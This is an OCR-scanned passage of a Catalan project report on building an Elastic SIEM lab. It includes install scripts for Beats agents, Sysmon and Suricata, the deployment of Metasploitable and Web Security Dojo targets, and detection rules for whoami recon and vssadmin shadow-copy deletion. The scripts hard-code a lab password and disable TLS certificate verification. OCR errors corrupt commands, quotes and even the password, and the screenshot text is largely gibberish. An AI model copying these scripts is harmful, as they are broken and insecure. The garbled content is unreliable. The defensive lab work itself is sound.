#2. Descarregar el winlogbeat

Invoke-WebRequest -Uri "https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-7.6.2-
windows-x86_64.zip" -OutFile "c:\winlogbeat-7.6.2-windows-x86_64.zip"

Expand-Archive c:\winlogbeat-7.6.2-windows-x86_64.zip -DestinationPath 'C:\Program Files'

#3. Instal-lacio de Sysmon

Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "c:\sysmon.zip"
Expand-Archive c:\sysmon.zip -DestinationPath 'c:\sysmon'

Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-
config/master/sysmonconfig-export.xml" -OutFile c:\sysmon\sysmonconfig-export.xml
C:\sysmon\sysmon64.exe -accepteula -i c:\\sysmon\sysmonconfig-export.xml

#4. Configurar el winlogbeat

$path = 'C:\Program Files\Winlogbeat'

$name = hostname

Rename-ltem 'C:\Program Files\winlogbeat-7.6.2-windows-x86_64" $path

(Get-Content -path $path'\winlogbeat.reference.yml' -Raw) -replace 'localhost','elasticstack.mistic.lab’ |
Set-Content -Path $path'\winlogbeat.yml’
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(Get-Content -path $path'\winlogbeat.yml' -Raw) -replace '#protocol: "https",'protocol: "https™| Set-
Content -Path $path'\winlogbeat.yml'

Add-Content -Path $path'\winlogbeat.yml' -Value "name: $name.mistic.lab"

Add-Content -Path $path'\winlogbeat.yml' -Value "output.elasticsearch.ssl.verification_mode: none"
Add-Content -Path $path'\winlogbeat.yml' -Value 'output.elasticsearch.username: "elastic™
Add-Content -Path $path'\winlogbeat.yml' -Value 'output.elasticsearch.password: "3l4s1cUs3r™
Add-Content -Path $path'\winlogbeat.yml' -Value 'setup.kibana.host:
"https://elasticstack.mistic.lab:5601"

Add-Content -Path $path"\winlogbeat.yml' -Value 'setup.kibana.username: "elastic™

Add-Content -Path $path"\winlogbeat.yml' -Value 'setup.kibana.password: "3l4s1cUs3r"

#5. Configurar el winlogbeat com a servei i iniciar-lo
cd $path

Jinstall-service-winlogbeat.ps1

Start-Service winlogbeat

Script 13: Instal-lacié de 'AuditBeat de Windows

#1. Descarregar l'auditbeat

Invoke-WebRequest  -Uri  "https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-7.6.2-
windows-x86_64.zip" -OutFile "c:\auditbeat-7.6.2-windows-x86_64.zip"

Expand-Archive c:\auditbeat-7.6.2-windows-x86_64.zip -DestinationPath 'C:\Program Files'

#2. Configurar 'auditbeat

$path = 'C:\Program Files\auditbeat'

$name = hostname

Rename-ltem 'C:\Program Files\auditbeat-7.6.2-windows-x86_64' $path
(Get-Content -path $path\auditbeat.reference.yml' -Raw) -replace 'localhost’,'elasticstack.mistic.lab’ |
Set-Content -Path $path"\auditbeat.yml’

(Get-Content -path $path\auditbeat.yml' -Raw) -replace #protocol: "https"™,'protocol: "https"™| Set-
Content -Path $path"\auditbeat.yml’

Add-Content -Path $path"\auditbeat.yml' -Value "name: $name.mistic.lab"

Add-Content -Path $path"\auditbeat.yml' -Value "output.elasticsearch.ssl.verification_mode: none"
Add-Content -Path $path'\auditbeat.yml' -Value 'output.elasticsearch.username: "elastic™
Add-Content -Path $path’\auditbeat.yml' -Value 'output.elasticsearch.password: "3l4s1cUs3r™
Add-Content -Path $path'\auditbeat.yml' -Value 'setup.kibana.host:
"https://elasticstack.mistic.lab:5601"

Add-Content -Path $path\auditbeat.yml' -Value 'setup.kibana.username: "elastic
Add-Content -Path $path\auditbeat.yml' -Value 'setup.kibana.password: "3l4s1cUs3r

#3. Configurar 'auditbeat com a servei i iniciar-lo
cd $path

Jinstall-service-auditbeat.ps1

Start-Service auditbeat

Script 14: Instal-laci6 del PacketBeat de Windows

#1. Descarregar el packetbeat

Invoke-WebRequest -Uri "https://artifacts.elastic.co/downloads/beats/packetbeat/packetbeat-7.6.2-
windows-x86_64.zip" -OutFile "c:\packetbeat-7.6.2-windows-x86_64.zip"

Expand-Archive c:\packetbeat-7.6.2-windows-x86_64.zip -DestinationPath 'C:\Program Files'

#4. Configurar el packetbeat

$path = 'C:\Program Files\Packetbeat'

$name = hostname

Rename-Iltem 'C:\Program Files\packetbeat-7.6.2-windows-x86_64" $path
(Get-Content -path $path'\packetbeat.reference.yml' -Raw) -replace 'localhost','elasticstack.mistic.lab' |
Set-Content -Path $path'\packetbeat.yml'

(Get-Content -path $path'\packetbeat.yml' -Raw) -replace ‘#protocol: "https™,'protocol: "https™'| Set-
Content -Path $path'\packetbeat.yml'

Add-Content -Path $path'\packetbeat.yml' -Value "name: $name.mistic.lab"

Add-Content -Path $path'\packetbeat.yml' -Value "output.elasticsearch.ssl.verification_mode: none"
Add-Content -Path $path'\packetbeat.yml' -Value 'output.elasticsearch.username: "elastic™"
Add-Content -Path $path'\packetbeat.yml' -Value 'output.elasticsearch.password: "3l4s1cUs3r"
Add-Content -Path $path'\packetbeat.yml' -Value 'setup.kibana.host:
"https://elasticstack.mistic.lab:5601"

Add-Content -Path $path'\packetbeat.yml' -Value 'setup.kibana.username: "elastic
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Add-Content -Path $path'\packetbeat.yml' -Value 'setup.kibana.password: "3l4s1cUs3r"
Add-Content -Path $path'\packetbeat.yml' -Value 'output.elasticsearch.pipeline: geoip-info'

#5. Configurar el packetbeat com a servei i iniciar-lo
cd $path

Jinstall-service-packetbeat.ps1

Start-Service packetbeat

8.2.2.1.2. Captures

Captura 30: Execuci6 del script

Untitied1.ps1
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Captura 32: AD funcionant

I3 Active Ditectory Users and Comgputers
le Acion View Help

- 5]

23 Active Directory Users and Compl| Name

d Quesies Builtin
#3 misticlab

Default c

Captura 33: Creacio de GPO Audit

=/ Group Policy Management Editor - a
File Action View Help
o Hm X @
v & Computer Configuration ~ || Policy Policy Setting
v Policies Audit account logon events Success, Failure
dl Software Settings Audit account management Not Defined
v [@ Windows Settings Audit directory service access Not Defined
| Name Resolution Policy
Audit logon events Success, Failure
£ Scripts (Startup/Shutdowr -
Audit object access Success, Failure
=9 Deployed Printers -
. 13 Security Settings Aud!t policy change Not Defined
+ 8 Account Policies Audit privilege use Not Defined
« 3 Local Policies Audit process tracking Not Defined
i Audit Policy Audit system events Not Defined
J| User Rights Assigr
i Security Options
J Eventlog
4 Restricted Groups
A System Services
4 Registry
A File System
24 Wired Network (IEEE &
Windows Defender Fir
_ Network List Manager
Ll Wireless Network (IEEI
_| Public Key Policies
Software Restriction P.
< > < >
Captura 34: Instal-lacio del WinlogBeat
« c @ 0 A tack misticlab pp/siem
B sev overview
B~ KoL B v Las
G} &  + Add filter
(oM -
or
_ 55 tha tion
8 hre
| Host events View hosts
o
© Elastic Endpoint Security overview z ¢
h G il L > Auditbeat 499 =
N Ela: > Elastic Endpoint Security 0
> Filebeat 3,773 —
B
Elastic SIEM for home and small - v Winlugbeal 613 mm
T business
‘ 2018-10-24 a Security 500
g 15
@
@
@ |
@
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N

G d & b

<

@

. SIEM | Hosts

B~ Search

® | agent.type: auditbeat x

B8 1205

vents

Shawing: 4360 events

= @timestamp L

> iAprig,2020@

> 1Apri8, 2020 @ 12:32:06.786

Captura 35: Esdeveniments de l'AuditBeat

misticad.mistic.lab ~ Events

© Process WmiPrvSE.axe (PID: 2506) by user NT AUTHOR osa

Process WmiPrvSE exe (PID: misticad, mistic. ab system process

misticad.misticlab in | B3 C:\Windows\system32 | stopped process | >. WmiPrvSE.exe | (4916)

Captura 36: Instal-lacié del npcap

process_stopped

KoL [~  Last 30 minutes
+ Add filter
ss181210 w18 1230
message host.name event.module event.dataset event.action
32:06786  Process WmiPrvSE.exe [PID: .. | misticad,mistic lab system process process_stopped
£ NT AUTHORITY\SYSTEM ticad. misticlab  n | £5C stopped process | > WmiPrvSE.exe | (2586)
* 5basB5bfid2?

C:\Windows\system3zZiwbem\wmiprvse.exe

(J7 Npcap 09989 Setup - x
Installation Options
Please review the following options before installing Npcap
0.9989
[[JLegacy loopback support for Nmap 7.80 and older. Not needed for Wireshark.
[CJRestrict Npcap driver's access to Administrators only
[]Support raw 802. 11 traffic (and monitor mode) for wireless adapters
[ Install Npcap in WinPcap API-compatible Mode
Mullsoft Inst o
< Back I Install ] Cancel
Captura 37: Instal-lacio del PacketBeat
[N © & htipsjetasticstack misticlab e misticad mistic lab/eve anguagekuery, .
E B s bosts misticadmisticlab | Events
) v  misticad.mistic.lab KQL @~  Last 24 hours
@+ Add fiter
i ]
b
Ll i
T
B 0402 1800 04022100 0403 3.0 e
2
8 Events
@ Showing: 2748 ave
= = @timestamp L message hostname event.module svent.dataset eventaction
g > IMpe3,2020@185220003 isticad mistic 130 - tow netwark i
i — 1888 [ 2pkis | udp | LTBBWSOKSYWIGHipnOGyIONLIGE
& (@ Apr 3,2020 @ 16:52:09.856 Source Destination
o @ Agr 3,2020 @ BSOS | 1oB0-a0iooaDITAIEBONS - | 49665 e e to2:1:3 = | 5385
> 1Apr3,2020 9165220003 [ Fmisticad misic 130 = iow Fratwork fiow
1@ 15 14.989200ms. 13608 1dpkis | wop | TLAGICGTDMVI/OTIESPNUQaRIO=
& 1(D Apr 3, 2020 @ 16:52:09.856 ‘Source . . Destination
10 A 3,200 § 165210871 [fe0-5afDiccanodadssrs : 15353 I =60 ozt : [5353
= > Apr 3, 2020 @ 16:52:20.003 - misticad.mistic lab - flow natwark_flow
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8.2.2.2. Instal-laci6é del servidor de fitxers
8.2.2.2.1. Scripts
Script 15: Creaci6 del share SMB

#1. Creci6 de la carpeta
New-Item -Type directory c:\shared

#2. Crear recurs SMB
New-SmbShare -Name 'Shared' -Path "c:\shared\" -FullAccess "mistic\Domain Users"

8.2.2.2.2. Captures
Captura 38: Creaci6 del share

E¥ Administrator: Windows PowerShell ISE
File Edit View Tools Debug Add-ons Help

= HJ & a » ' B =

Share.ps1 X . &

(]
]
0

[
]

1 #1. Crecio Carpeta
New-Item -Type directory c:‘\shared

#2. Crear recurs SMB

2
3
4
5 New-SmbShare -Name 'Shared' -Path "c:\shared\" -FullAccess "mistic\Domain Users"

LastwriteTime Length Name
03/04/2020 18:35 shared

AvailabilityType : NonClustered
CachingMode : Manual
CATimeout : 0
ConcurrentUserLimit -0
ContinuouslyAvailable : False
CurrentUsers H

Description :

EncryptData : False
FolderEnumerationMode : Unrestricted
IdentityRemoting : False
Infrastructure : False

L easingMode = Full

Completed Ln 4
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Captura 39: Finestra de propietats

shared Properties X
General Sharng Security  Preyious Versions  Customize
Object name: Ci\shared

Qrcup orusernames:

| ' {CREATOR OWNER

B8 SYSTEM
B‘ Administrators (MISTIC\Administrators)
B2 Users (MISTIC\Users)

To change permissions, click Edit. Edit

Permissions for CREATOR
OWNER Allow Deny

Full control

Modify

Read & execute

Listfolder contents

Read

Write v

For special permissions or advanced seftings, Advanced
click Advanced. -

Cancel Apply

Captura 40: Finestra de propietats avancades

Advanced Security Settings for shared [m] X
Name: C\shared
Owner: Admi yrs (MISTIC\Admi rs) & Change
Permissions Share Auditing Effective Access
For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).
Permission entries:
Type Principal Access Inherited from Applies to
S Allow  SYSTEM Full control C\ This folder, subfolders and files
2 Allow Administrators (MISTIC\Administ.. Full control [s% This folder, subfolders and files
82 Allow Users (MISTIC\Users) Read & execute c\ This folder, subfolders and files
B2 Allow  Users (MISTIC\Users) Special A\ This folder and subfolders
B2 Allow CREATOR OWNER Full control [ Subfolders and files only
Add Remove View

Disable inheritance

[ Replace all child object permission entries with inheritable permission entries from this object

Cancel Apply
Captura 41: Finestra d’auditing

Auditing Entry for shared

Principal:  Everyone Select a principal
Type: Success

Applies to: | This folder, subfolders and files ~

Advanced permissions: Show basic permissions

] Full control [Jwrite attributes

[ Traverse folder / execute file [[]Write extended attributes
[ List folder / read data Delete subfolders and files
[ Read attributes Delete

[ Read extended attributes Read permissions

[ Create files / write data [ Change permissions

[ Create folders / append data [ Take ownership

[1Only apply these auditing settings to objects and/or containers within this cantainer Clear all

Add 3 condition to limit the scope of this auditing entry. Security events will be logged only if conditions are met.

Add a condition

o
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Captura 42: Esdeveniment 4663 creacio

<« C o © £ httpsy//elasticstack.mistic.lab:5601/app/siem#/hosts/events?query=(language:kuery,
B sev Hosts Events
3 v event.code:"4663"

S

Wil message

An attempt was made to access an
object. Subject: Security ID:
$-1-5-21-1915948680-3555205121
-1759586796-500 Account Name:

+ Add filter

Administrator Account Domai
& MISTIC Logon ID: 0xFCAB5 Object:
Object Server: Security Object

message host.name event.module

Type: File Object Name: C:\shared i misticad.mistic.lab —
\arxiu.txt Handle ID: Ox434
Resource Attributes: S:Al Process
Information: Process ID: 0x224
Process Name: C:\Windows

=l \System32\notepad.exe Access
Bl Request Information: Accesses:
WriteData (or AddFile) Access
Mask: 0x2

An attempt was made to acc...
An attempt was made to acc... misticad.mistic.lab —
An attempt was made to acc... misticad.mistic.lab —
An attempt was made to acc... misticad.mistic.lab —

An attempt was made to acc... misticad.mistic.lab —

Ql

An attempt was made to acc... misticad.mistic.lab —

Y

Captura 43: Esdeveniment eliminacio

c @
a

s://elasticstack.mistic.lal /app/siem#/hosts/events?query=(language:kuery,query:'event.cc
©U & https://el tack mistic.lab:5601/app /hosts/events?query=(language:kuery,query t

N

SIEM ' Hosts = Events

Bv
®

event.code:"4656" KQL & v

+ Add filter

message

A handle to an object was
requested. Subject: Security ID:
S-1-5-21-1915948680-3555205121
-1759586796-500 Account Name:
Administrator Account Domain:
MISTIC Logon ID: OxFCAB5 Obje
Object Server: Security Object
Type: File Object Name: C:\shared
\arxiu.txt Handle ID: Ox1ccO
Resource Attributes: - Process
Information: Process ID: Ox4

04 08:40 04-04 08:45 04040850 04-04 0855 04-04 09:00 04-04 09:05 04-04 09:10

message host.name event.module event.dal

Process Name: Access Request
Information: Transaction ID:
{00000000-0000-0000-0000-000
000000000} Accesses: DELETE
SYNCHRONIZE ReadAttributes

A handle to an object was re... | misticad.mistic.lab — —

A handle to an object was re... | misticad.mistic.lab — —

Ahandle to an object was re... §misticad.mistic.lab. i— i—

Access Reasons: DELETE: Granted
by D:(A;ID;FA;;;BA) SYNCHRONIZE:

Granted by ;ID;FA;;;BA)
ReadAttributes: Granted by

A handle to an object was re...
A handle to an object was re...

A handle to an object was re...

misticad.mistic.lab

misticad. mistic.lab

misticad.mistic.lab

D:(A;ID;FA;;;BA) Access Mask:
0x110080 Privileges Used for
Access Check: - Restricted SID
Count: 0

A handle to an object was re... misticad.mistic.lab - —

A handle to an object was re... | misticad.mistic.lab — —

A handle to an object was re... i misticad.mistic.lab — —

8.2.2.3. Instal-lacid del Suricata IDS

8.2.2.3.1. Scripts

Script 16: Instal-laci6 del suricata
#!/bin/bash

#1.Instal-lacio del suricata
add-apt-repository ppa:oisf/suricata-stable -y
apt-get update -y

apt-get install suricata suricata-dbg -y

#2. Configuraci6 del suricata

cp /etc/suricata/suricata.yaml /etc/suricata/suricata.yaml_PreConfig
netorig='192.168.0.0V16,10.0.0.0V8,172.16.0.0V12'
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netfinal="'192.168.43.96\/28'
sed -i "s/$netorig/$netfinal/g" /etc/suricata/suricata.yaml
sed -i "s/ethO/ens33/g" /etc/suricata/suricata.yaml

#3. Actualitzacio de regles
suricata-update

#4. Reiniciar per aplicar els canvis de configuracio
service suricata restart

Script 17: Instal-lacié i configuracio del FileBeat d’'Ubuntu

#!/bin/bash

#1. Instal-lacio del filebeat

wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -

echo "deb https://artifacts.elastic.co/packages/7.x/apt  stable main" | sudo tee
letc/apt/sources.list.d/elastic-7.x.list

apt-get update && sudo apt-get install filebeat

#2. Configuracio del filebeat
cp /etc/filebeat/filebeat.yml /etc/filebeat/filebeat.yml_PreConfig
host="elasticstack.mistic.lab’

sed -i "s/localhost/$host/g" /etc/filebeat/filebeat.yml /etc/filebeat/filebeat.yml

sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" /etc/filebeat/filebeat.yml /etc/filebeat/filebeat.yml
echo "output.elasticsearch.ssl.verification_mode: none" >> /etc/filebeat/filebeat.yml

echo "output.elasticsearch.username: \"elastic\'"" >> /etc/filebeat/filebeat.yml

echo "output.elasticsearch.password: \"3l4s1cUs3r\"™" >> /etc/filebeat/filebeat.yml

echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/filebeat/filebeat.yml
echo "setup.kibana.username: \"elastic\'"" >> /etc/filebeat/filebeat.yml

echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/filebeat/filebeat.yml

cp /etc/filebeat/modules.d/suricata.yml.disabled /etc/filebeat/modules.d/suricata.yml

#3. Iniciar el filebeat

systemctl enable filebeat
systemctl start filebeat

8.2.2.3.2. Captures

Captura 44: Test de ping i telnet
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Captura 45: Alarma del Suricata a /’Elastic SIEM

« c @ 9 & mistic labs L ] Lo

E B s ticiab  Events o

Kol & ast 30 minutes Show dates  Refresh

8.2.2.4. Desplegament en entorns vulnerables

8.2.2.4.1. Desplegament del Linux
“Metasploitable”
8.2.2.4.1.1. Scripts

Script 18: Instal-lacié de I'AuditBeat i el PacketBeat d'Ubuntu

#!/bin/bash

#1. Instal-lacié de I'auditbeat i el packetbeat

wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -

echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a
/etc/apt/sources.list.d/elastic-7.x.list

apt-get install libpcap-dev -y

apt-get update && sudo apt-get install auditbeat packetbeat

#2. Configuracié de l'auditbeat i el packetbeat
host="elasticstack.mistic.lab’
cp /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml_PreConfig

sed -i "s/localhost/$host/g" /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml

sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml
sed -i "s/- socket/#- socket/g" /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml

echo "output.elasticsearch.ssl.verification_mode: none" >> /etc/auditbeat/auditbeat.yml

echo "output.elasticsearch.username: \"elastic\'"" >> /etc/auditbeat/auditbeat.yml

echo "output.elasticsearch.password: \"3l4s1cUs3r\"" >> /etc/auditbeat/auditbeat.yml

echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/auditbeat/auditbeat.yml

echo "setup.kibana.username: \"elastic\"" >> /etc/auditbeat/auditbeat.yml

echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/auditbeat/auditbeat.yml

cp /etc/packetbeat/packetbeat.yml /etc/packetbeat/packetbeat.yml_PreConfig

sed -i "s/localhost/$host/g" /etc/packetbeat/packetbeat.yml /etc/packetbeat/packetbeat.yml

sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" letc/packetbeat/packetbeat.yml
/etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.ssl.verification_mode: none" >> /etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.username: \"elastic\"" >> /etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.password: \"314s1cUs3r\"" >> /etc/packetbeat/packetbeat.yml

echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/packetbeat/packetbeat.yml

echo "setup.kibana.username: \"elastic\"" >> /etc/packetbeat/packetbeat.yml

echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.pipeline: geoip-info" >> /etc/packetbeat/packetbeat.yml

#3. Iniciar 'auditbeat i el packetbeat
update-rc.d auditbeat defaults
update-rc.d packetbeat defaults
service auditbeat start

service packetbeat start
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8.2.2.4.1.2. Captures

Captura 46: Crear maquines Metasploitable 3

1tiplataforma https://aka.ms/pscore6

INDOWS\ systen3
\Users\Eduard\Documents\Virtual Machines> cd .\MetaSploitable3\
sers\Eduard\Documents\Virtual Machines\MetaSploitable grant up
ith 'virtualbox' provider
up rtualbox’ provider...
7/metasploitable3-ub14@4’ could not be found. Attempting to find and install.
vider: virtualbox

Loading metadata for box 'rapid7/metasploitable3-ubl484"
URL: https://vagrantcloud. com/rapid7/metasploitable3-ublded
: Adding box ‘rapid7/metasploitable3-ub1484’ (v@.1.12-weekly) for provider: virtualbox

Downloading: https://vagrantcloud.com/rapid7/boxes/metasploitable3-ub1404/versions/0.1.12 weekly/provider:

%
Download redirected to host: vagrantcloud-files-production.

Successfully added box ®rapid?/metasploitable3-ub1484' (v@.1.
Importing base box 'rapid7/metasploitable3-ublded ...
: Matching MAC address for NAT networking.
if box "rapid7/metasploitable3-ubl404’ version '@.1.12-weekly' is up to date...

: Setting the name of the VM: Metasploitable3-ubl484
Clearing any previously set network interf: .
: Preparing network interfaces based on cenfiguration
Adapter 1: nat
Adapter 2: hostonly
Forwarding ports. ..
2 (guest) (host) (adapter 1)
: Running 'pre-boot' VM customizations. ..
Booting VM. ..
: Waiting for machine to boot. This may take a few minutes...
SSH address: 127.8.8.1:2222
SSH username: vagrant
SSH auth method: password
Warnin nnection reset. Retrying...
: Marning: Connection aborted. Retrying...

: Inserting generated public key within g
ine booted and ready!
: Checking for guest additions in VM
No guest additions were detected on the base box for this VM! Guest
ub1404: additions are required for forwarded ports, shared folders, host only

o 2od gore T SSH £ailc nn thic machine nloace inctall

Captura 47: Linux Metasploitable: Metasploitable AuditBeat

£ B Evers
1 it
Events
imasonp & fi— J—— . JR— e [—

Captura 48: Linux Metasploitable: Metasploitable PacketBeat

Ltype “peckstbeat K Last 24 heurs

Events

@imestamp message hast name event.mase eventaction wmernama
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8.2.2.4.2. Desplegament del Windows
“Metasploitable”

8.2.2.4.2.1. Captures
Captura 49: Afegir al domini

) ~ Control Panel + System and Security  System v 23 [ search Control Panel

EZ 100 about your computer
o |
ou can change the name and the membership of this
‘compter. Changes might affect accessto network resources,  [computer
Hlore infomnation Micrasoft Corporatin. Al rights reserved.

08 R2 Standard

Computer name:

[winmetasploit3

Ful computer name: .
winmetasploit3 Computer Name/Doma

"

Welcome to the istic.iab domain,
Member of ———————————————————— .80GHz 1.9 GHz (2 processors)
& Domain

[mistic: lab - o

£ Workgroup: r this Display

in, and workgroup

winmetasploit3 #jChange settings

(=] A —-
WORKGROUP
oK Cancel Aol

Acton Center A You must activate today. Activate Windows now

Windows Update Product ID: 00477-001-0000347-84076  Change product key

Windows Server 2008 R2 Standard
d

o B B L G[R ws o

Captura 50: Windows Metasploitable: Esdeveniments de WinlogBeat

« ¢ @ v & misticlab - @ K fr

]
I

|/ i winme Events

Last 24 hours how dates

event.module event

688 as | udp YCNACOITVgI52W2TI3 0
Source Destination
foB0:c587:a1:a0 220085 : | 548 e pas p—
688 [ 1pkis | udp
18:20317 Source Destination
L pts
68:20 feB0-c5a7a1:a03a:0085 : | 546 ftoz1:2
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Captura 51: Windows Metasploitable: Esdeveniment d’AuditBeat

)]
[C]

3.mistic Events

®
)

© | agent.type: auditbeat x | + Add filter

Er

9

@

Events Stackby  eventaction

Z e [

m @

&

ol

©

%

Events

Shawing: 4 ever

G

|

= @umestamp & message host.name t.modul dataset Lact user.name

@

> 1Aprie, 2020 @ 12:21:40.256 system process process started MISTICUAdministrator

£ MISTICUAdministrator @ tic o

I

Captura 52: Windows Metasploitable: Esdeveniments de PacketBeat

« Cc @ D & iy t K mistic.lab:5601/app/sier ts/winm loif iclabjevents?query =(language-kue " etas - @ K fr 4

E B sev rosts winmetsspiotamistic... | Events

[~ winmetasploit3.mistic.lab KQL [~ Last24 hours Show dates u
@ ©  + Add fier
[ t

i ® Fitering Platform Pacl
= i File System
— — & logged-in

i} 1 2 . ! 2 0407 1500
2

) Events

message host.name event.module event dataset

o > iApr7,2020@ 182050023 I— w = ow -
®o 168B | 1pks | udp | VueMcsycNcOTTvgISZWazedsls

- © Apr7, 2020 @ 1 Sourcs Destination
© Apr7, 2020 @1 wes 1pits

® or7, 20206 fe80cB87:a1a532:4085 - 345 Hoastz - 1547

> |Apr7, 2020 @ 182040020 Winmetaspioits mistic lab flow nework_fiow
oo 1688 [ 1pkis | udp | VxeNcsycrcOf7vgi5zwarodeal=
® ons o,

o © Apr7, 2020 @ 182031732 source . . Destination
2 B s
© Apr7, 2020 @ 182031732 | fe80icss7ala03ad0S : | 548 v f0z1:2 1547

8.2.2.4.3. Desplegament del Web Security Dojo

8.2.2.4.3.1. Scripts

Script 19: Instal-laci6 APM-Agent NodeJS

#!/bin/bash
APP='juice-shop'
APP_BASE="/home/dojo/targets/$SAPP"

#1. Instal-lacié6 d’APM_AgentModule
npm install elastic-apm-node --save

#2. Iniciar el modul a I'aplicacié

echo "var apm = require(‘elastic-apm-node/start’)" > /home/dojo/targets/$SAPP/app/app.js.new
cat /home/dojo/targets/$APP/app/app.js >> /home/dojo/targets/$APP/app/app.js.new

mv /home/dojo/targets/$APP/app/app.js /home/dojo/targets/$SAPP/app/app.js.old

mv /home/dojo/targets/$APP/app/app.js.new /home/dojo/targets/$APP/app/app.js

chown dojo: /home/dojo/targets/$SAPP/app/app.js

#2. Configuracié del Tomcat

cat << EOF > $APP_BASE/app/elastic-apm-node.js
module.exports = {

104

s.shiexe | (184) | CaWindows\System32isiiexe | -Embedding  via parent process

=2

imeline ~



/I Override service name from package.json
/I Allowed characters: a-z, A-Z, 0-9, -, _, and space
serviceName: '$APP’,

/I Use if APM Server requires a token
/IsecretToken: ",

/l Set custom APM Server URL (default: http://localhost:8200)
serverUrl: 'http://elasticstack.mistic.lab:8200',
captureBody: ‘all'

}
EOF

chown dojo: $APP_BASE/app/elastic-apm-node.js

8.2.2.4.3.2.
Captura 53: Web Security Dojo: Esdeveniment d’AuditBeat

Captures

N SO

BB

™

event.module

ended from © > jusrfsbinjcron

c o O & hips/velsticstackmisticlab:5601/app/siem#hosts/dojo-Virtu:
B M Hosts | dojo-VirtualBox | Events
B
©  + Add filter
0s0s
Events
= @timestamp |- message host.name
> 1Apr7,2020@1875:01828  |— dojo-VirtuaiBox audita
Sesson| #4 | Zroot @) dojo-VirtuaiBox
> Apr7,2020 @ 1915:01.928 dojo-VirtualBox auditd
Session 4 P root @ dojo-VirtualBox  disposed credentials to

Captura 54: Web Security Dojo:

event.dataset

Justfsbinicron

@~ Last 24 hours

event.action
ended-session

(24927)  withresult | success

disposed-credentials

(24927)  withresult | success

Esdeveniment de PacketBeat

™

@ 203715

105

c e © & bipsrelast mistic ab ! g [CR R *
B seM Hosts | dojo-VinusiBox | Events [+
&+ Add fiter
L [
Events
= @timestamp L message eventmodule eventdataset eventaction sername oure:
7, 2020 @ 19:2010001 ow et 12
1848 [ 2pkis | udp | VpeGmIXHOORZOBN/aHgBz HmEE=
Source (5000%) 628 Tpkts Destination
19246843105 : 123 (5000%) 928 T phis 1931451515 - 1123
> lApr72020@ 182010001 |— dojo-VirtusiBiox - tow netwark_fiaw - a2
© 775808 1848 | 2pits | w0 | TWICQIKRCEQsyQlwparwersL5zAs
@ g Source. {s000%) 828 1kt Dastination
@ apr 182.168.43105 : 123 50.00%) 928 1okt 21218323376 ;1123
> [Apr7, 2020 @ 18:20110.001 j— - Now etwark_flow - 192,
1848 [ 2pkts | udp | Ye/LTIOWGMIADMIONDSKKIEO=
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Captura 55: Web Security Dojo: APM-Agent

E B »v serices
APM @ Settings @ Setup Instructions
@
I Search transactions, errors and metrics (E.g. transaction.duration.us > 300
g9
= .
Services  Traces
e}
£  Filters
Name
@ HosT
juice-shop
8 RGENT NAME
)
o
@
i
P
S
=

8.2.2.5.

8.2.2.5.1.

Captura 56:

SIEM = Detections = Signal detection rules = Whoami Process Activity

Timelines

Updated by: elastic on Apr 10, 2020 @ 10:56:00.144

Identifies use of whoami.exe which displays
user, group, and privileges information for the
user wha is currently logged on to the local

@\ Overview Hosts Network Detections
®
~ B v Search
) &+ Add filter
< Back to signal detection rules
& . T
» Whoami Process Activity e
Created by: elastic on Apr 10, 2020 @ 10:56:00.058
a
Last response: @ — C
)
=]
Signals (SIEM Detections) Failure History
)
@
o Definition About
@
- Index patterns Description
winlogbeat-*
&
Custom query
process.name:whoami.exe and event.code:! system.
=

Signals (SIEM Detections)

External alerts

Signal count

Showing

0410 19

1signal

00 04-10 14:00

Signals

Shawing

04101

-

Severity

B~ Last 24 hours

000 AND hitp response.status_cade >= 400)

Environment

development nodejs

Deteccio d’amenaces mitjancant regles

pre-creades

Regla whoami

KoL @~

False positive examples

Some normal use of this program, at varying
levels of frequency, may originate from
scripts, automation tools and frameworks.
Usage by non-engineers and ordinary users is
unusual.

' Captura 57: Deteccio aéféiéhal whoami

1 signal Selected D signals @ Close selected  [3 Select all 1 signa
@timestamp - Rule Version Method
@ > [Apr11,2020 @11:26:05292 | Whoami Process Activity 1 query

106

0411 05,00

Severity Risk Score

low n

Show dates
emironment  All ~
g respons...  Trans. per mi.  Errors per min_.
85 ms 0.1 tpm <0.1er
1

Detecci6 d’amenaces

Apr 11, 2020 @ 10:22:29.52 - Apr 11, 2020 @ 10:46:29.52

Anomaly detection

X Activate

Schedule

Runs every

5m

Additional look-back time

im

event module

sysmon

Stack by

04-11 08:00

signal rule.risk_score

o =

@ Add data

04111100

Timeline ~

Opensignals Closed signals

event.action

Process Create (rul..

event.category

process
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@\ Overview Hosts Network

EM Detections)  Failure History

Definition

Index patterns
winlogbeat-*

Custom query
event action:"Pro

Detections

Volume Shadow Copy

Captura 58: Regla volume shadow copy

Volume Shaclow Copy Deletion via VssAdmin

Timelines

Apr 11, 20:

Deletion via VssAdmin = s

About

Description Investigate detections using this

dentifies use of vesadmin.exe for shadow timeline template
copy deletion nts. This com Default blank timeline
occurs in tand
destructive MITRE ATT&CK™
s se E n 5)
Severity Inhibit e )

0 @10:22:29.524

Anomaly detection

> NOW

Schedule

Runs every

5m

Additional look-back time
.

